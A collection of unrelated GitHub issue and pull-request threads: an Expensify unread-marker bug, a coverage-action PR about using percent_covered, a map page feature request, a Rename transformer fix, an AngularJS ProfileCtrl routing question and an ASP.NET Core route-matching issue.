The issue is related to the behavior of the Expensify app chat page when performing actions within a chat.
Specifically, the issue is that creating two manual IOUs and then going back and deleting the first IOU within the chat is currently causing the chat to be marked as unread when back on LHN, contrary to the expected behavior where deleting an IOU should not affect the unread status of the chat.
What is the root cause of that problem?
The root cause that I found is related to the stale data for reports inside the ReportScreen.js.
It is part of withOnyx configurations. It can be adjusted to resolve this issue.
Also, we need to modify some logic inside ReportActionsList.js needs to change.
Since the data is not stale anymore and there's a problem check between reportID and prevReportID
that needs to be removed.
What changes do you think we should make in order to solve the problem?
By having stale data not allowed for the withOnyx inside the ReportScreen.js
    ...
    report: {
         key: ({route}) => `${ONYXKEYS.COLLECTION.REPORT}${getReportID(route)}`,
         allowStaleData: true, // should be false or removed
         selector: reportWithoutHasDraftSelector,
     },
     ...

And also the code inside the file ReportActionsList.js is unnecessary when the data is not stale. This condition prevents the marking of read items. This check of prevReportID is unnecessary.
userActiveSince.current should still be kept.
if (!userActiveSince.current || report.reportID !== prevReportID) { // This condition needs to change.
      return;
}

By making these two changes we can easily fix the issue. I've checked on the staging branch.
Please also check the attached demo.
What alternative solutions did you explore? (Optional)

Proposal
Please re-state the problem that we are trying to solve in this issue.
The UnreadMarker in Expensify's chat system is triggering unexpectedly during both manual IOU creation and deletion.
What is the root cause of that problem?
While the UnreadMarker's behavior is anticipated for report creation or deletion, the issue lies in its application to the user who initiated these actions, causing them to receive an unnecessary Unread Message notification.
What changes do you think we should make in order to solve the problem?
In the src/pages/home/report/ReportActionsList.js file, specifically within the shouldDisplayNewMarker function, introduce a condition to display the unread marker only if the user is not the report creator/editor.
The code adjustment could resemble the following:
        if (!currentUnreadMarker) {
            ...

            // Proposed condition to display unread marker only for non-creators/editors
            shouldDisplay = shouldDisplay && (reportAction.actorAccountID !== Report.getCurrentUserAccountID());

            ...
        } else {

What alternative solutions did you explore? (Optional)

Hm, I think this behaviour is reasonable - there's been a change to the IOU amount, so marking it as unread (I.e. 'something has updated') makes sense to me. Going to close this out.


Use the Original percent_covered

We can use the original percent_covered instead of recalculating it.

Hey, thanks for the contribution. Can you expand a bit on why this is something we want to do ?

@ewjoachim Thanks for asking.
We need this fix because there was an inconsistency in the coverage measurement.
For example,
https://github.com/py-cov-action/python-coverage-comment-action/blob/ab22836beae65379cc171899e0d87e184af4a193/coverage_comment/coverage.py#L216-L218 calculates the coverage without branch measurement.
As the result, even if we calculate the coverage using branch measurement (e.g., 60%), the coverage ratio in the badge will be shown  as the coverage without branch measurement (e.g., 75%).

If we add it back, it might be better to add it back fully with documentation, see https://github.com/py-cov-action/python-coverage-comment-action/discussions/336

If we add it back, it might be better to add it back fully with documentation, see #336 . We also may want to adapt the markdown table to display proper values.
Also, if possible, I'd rather we do the calculation ourselves every time rather than sometimes doing it and sometimes depending on the data having done it for us. I'm not saying that it's currently the case, and we might fix it, but if we're going towards one side of this question, I'd rather it's the "side I consider the most correct as of now": computing the coverage rate ourselves, potentially taking into account branching to get the correct value.
(I also have #347 in mind and I think it may be interesting to avoid expanding our tight coupling with Coverage just yet)

Hello @ewjoachim! Can you tell me what action I should take in this PR?

Well, it's mainly that discussing the issue before jumping into the code might have been an easier way to set everyone's expectations straight. I think it might be more work than what was here so far. Of course if you want to tackle it, it's very nice, but I also understand if you'd rather not.
From the top of my head, here's how I imagine the things to look like:

Understand how calculation of coverage branch actually works in detail (feel free to write a bit in the contributing doc)
Evaluate whether we have all the data necessary to compute the branch rate
Change the compute_coverage function to take necessary additional parameters to output the right value (with 2 decimal digits, using decimal. Note that in your PR, you used rounding. It's probably not explicit enough but we try to truncate rather than round. 99.99% of coverage is not 100%), the function should take a boolean indicating whether we want branch coverage or normal coverage. This also includes modifying existing unit tests of said function, and adding all necessary new test cases.
Update all uses of compute_coverage to pass the new parameters. The boolean mentioned above should come from the project settings
Add the new project setting in settings.py as well as in the action manifest and in the README documentation. When writing the documentation, ensure that the term "branch" coverage is defined in a very explicit way, considering that throughout the whole project, "branch" is used in the context of a git/GitHub branch. Let's ensure we don't make this any more confusing than it already is.

Also, when you're done, please consider rebasing your commits into separate parts of work to ease commit-by-commit reviewing. That said, this part is optional.

Well, it's mainly that discussing the issue before jumping into the code might have been an easier way to set everyone's expectations straight. I think it might be more work than what was here so far. Of course if you want to tackle it, it's very nice, but I also understand if you'd rather not.
From the top of my head, here's how I imagine the things to look like:

Understand how calculation of coverage branch actually works in detail (feel free to write a bit in the contributing doc)
Evaluate whether we have all the data necessary to compute the branch rate
Change the compute_coverage function to take necessary additional parameters to output the right value (with 2 decimal digits, using decimal. Note that in your PR, you used rounding. It's probably not explicit enough but we try to truncate rather than round. 99.99% of coverage is not 100%), the function should take a boolean indicating whether we want branch coverage or normal coverage. This also includes modifying existing unit tests of said function, and adding all necessary new test cases.
Update all uses of compute_coverage to pass the new parameters. The boolean mentioned above should come from the project settings
Add the new project setting in settings.py as well as in the action manifest and in the README documentation. When writing the documentation, ensure that the term "branch" coverage is defined in a very explicit way, considering that throughout the whole project, "branch" is used in the context of a git/GitHub branch. Let's ensure we don't make this any more confusing than it already is.

Also, when you're done, please consider rebasing your commits into separate parts of work to ease commit-by-commit reviewing. That said, this part is optional.

@ewjoachim Hello, thanks for the detailed guidelines. There is one thing I would like to ask before I start doing this. If I follow your guide, the coverage rate is calculated by compute_coverage function of this py-cov-action GitHub Actions. But I have a question about this part.
We run a test before doing this py-cov-action. For example, we run pytest --cov src and with this command we have already obtained the coverage rate. For example,
$ pytest --cov src
---------- coverage: platform linux, python 3.11.7-final-0 -----------
Name                                                         Stmts   Miss Branch BrPart   Cover   Missing
---------------------------------------------------------------------------------------------------------
src/.../__init__.py                                             3      0      0      0 100.00%
src/.../__main__.py                                             7      7      2      0   0.00%   2-14
---------------------------------------------------------------------------------------------------------
TOTAL                                                         2180   1154    886     75  42.04%

As shown above, we have already obtained a coverage rate of 42.04%, and this value is stored in data["totals"]["percent_covered"] as I have already used in this PR.
Before I proceed, I'd like to ask why we can't just use data["totals"]["percent_covered"] out of the box.

Issues like #370 and #347 are making me wary of adding more tight coupling between this lib and Coverage.
I try to be mindful of the choices we make consuming (or not consuming) features from our dependencies so that we stay in control and when we want to make a change, we somewhat limit the risk.

I understand, and I'm sorry too. Thanks for your contribution anyways. Please note that it's not fun to decide whether contributions are accepted or not, especially when the answer isn't positive, and especially in cases like this where it really is a question of gut feeling, and not of quality or anything.
I think I'll close the PR, but I'll open an issue for properly dealing with branch coverage.


Create the map page

Issue Details
Develop and implement a UI for the map navigation feature. This includes adding a link in the navigation bar that directs users to a map page. The map page, for the current scope, should display a basic, interactive map that supports zooming and panning but does not require additional functionalities.
Technical Requirements

Add a new file named map_page.tsx in the src/lib/pages folder.
In map_page.tsx, implement a UI that features:

A link in the navigation bar that directs to the map page.
An interactive map that allows users to zoom in and out and pan across different areas.

Ensure the map page is responsive and renders correctly on various screen sizes, keeping in line with the application's overall design and user experience principles.

Acceptance Criteria

A map_page.tsx file exists in the src/lib/pages folder.
The navigation bar contains a link that navigates to the map page.
The map page displays an interactive map which users can zoom and pan across.
The map page's UI is responsive and maintains its layout and functionality across different devices and screen sizes.
The design and functionality of the map page are consistent with the application's overall theme and user experience guidelines.

Issue:
The addition of a map navigation feature is integral for enhancing user interaction and engagement within the application. The map page, accessible via a link in the navbar, aims to provide a foundational interactive map experience. This initial implementation focuses on basic map interactions like zooming and panning, setting the stage for future enhancements and functionalities.

Added more features like image rendering, note markers, and search functionality. Plus note markers are clickable with a notecard component


Rename: one feature and three bug fixes

New feature: allow the transformer to intentionally ignore sources in the rename dictionary that don't appear in the dataset.
Bug fixes:

Only allow mappings that are one-to-one as many-to-one mappings make no sense (ab55194). Actually, only enforce this for sources that are actually present in the dataset (03d99b1).
Don't let the Rename transformer rename a source to the name of another source (unless that other source is also being renamed). (c14cea6).
Don't operate wholly in-place by looking up indices in a mutable list, as in certain cases this can lead to incorrect behaviour. (714feac).

Okay, tests pass (initial failure was some spurious Travis problem).
It's probably easiest to review this commit by commit, as each commit is pretty easy to digest on its own (by design).

LGTM after the test is fixed.

Rebased in the correct test in 768c435. Merging as soon as Travis passes.

... No, not quite. fcf44b0 contains the test with the right exception name.


Cannot access ProfileCtrl using angular ui router

i came up with a particular issue as im not able to access ProfileCtrl. Im not getting any error at all and im not able to log in my console which makes this more weird. I can access all the rest of my controllers except ProfileCtrl. I dont know how to debug this issue but it seems like my route is not able to "read" whatever is in ProfileCtrl as if i delete everything it still not showing errors.
    angular.module('Chat', ['ngResource', 'ngMessages', 'ui.router', 'ngAnimate', 'ngSanitize', 'satellizer', 'mgcrea.ngStrap', 'angularFileUpload'])
    .config(['$stateProvider', '$urlRouterProvider', function($stateProvider, $urlRouterProvider) {
    $stateProvider
        .state('home', {
            url: '/',
            templateUrl: 'views/home.html',
            controller: 'MainCtrl'
        })
        .state('login', {
            url: '/login',
            templateUrl: 'views/login.html',
            controller: 'LoginCtrl'
        })
        .state('profile', {
            url: '/profile',
            templateUrl: 'views/profile.html',
            controller: 'ProfileCtrl',
            resolve: {
                authenticated: function($q, $location, $auth) {
                    var deferred = $q.defer();

                    if (!$auth.isAuthenticated()) {
                        $location.path('/login');
                    } else {
                        deferred.resolve();
                    }

                    return deferred.promise;
                }
            }
        });

    $urlRouterProvider.otherwise('/');
  }]);

  angular.module('Chat')
  .controller('ProfileCtrl', ['$scope', function($scope) {

    console.log("test");

 }]);

Fixed it injecting the dependency in the controller..


Route pattern matching issue on route '/r{token}' or simillar

From @pikax on August 2, 2018 14:55
Is this a Bug or Feature request?:
Bug
Steps to reproduce (preferably a link to a GitHub repo with a repro project):
create a new dotnet project
dotnet new webapi
go to the Controller/ValuesController and add the action
        [Route("/r{token}")]
        public string Test(string token)
        {
            return token;
        }

debug and go to:
https://localhost:44325/rRR
The action is not executed, but it works with /rtest
It seems if you add the same starting character(r) in the middle of the {token} it fails to match the route.
       [Route("/i{token}")]
        public string Test2(string token)
        {
            return token;
        }

// https://localhost:44325/iteIst doesn't work

Description of the problem:
Route matching issue.  (see the code example above)
Version of Microsoft.AspNetCore.Mvc or Microsoft.AspNetCore.App or Microsoft.AspNetCore.All:
2.1.1
Copied from original issue: aspnet/Mvc#8197

Thanks for contacting us, @pikax.
@kichalla, can you please look into this? Thanks!
/cc @rynowak, @JamesNK

Hi @pikax
This behavior is by design. I've logged an issue on the aspnet/Docs repo to improve the documentation on this topic https://github.com/aspnet/Docs/issues/8197
Routing matches complex segments in chunks from right to left by performing a non-greedy match. By that I mean that it tries to capture the smallest possible chunk of text in the parameter.  Unfortunately this only works well if you have a clear delimiter character that won't appear in the rest of the text.
I'd suggest using a regex if you have complex parsing requirements /{p:regex(r.*)}